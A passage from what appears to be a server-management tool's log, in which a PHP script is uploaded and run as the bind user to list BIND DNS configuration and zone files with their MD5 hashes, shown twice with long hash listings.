MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:27:41: Establishing a connection
2026-04-24 12:27:42: 

PUT: /tmp/pkp495257

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:27:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp495257; rm /tmp/pkp495257'

2026-04-24 12:27:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:28:20: Establishing a connection
2026-04-24 12:28:20: 

PUT: /tmp/pkp184306

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:28:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp184306; rm /tmp/pkp184306'

2026-04-24 12:28:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
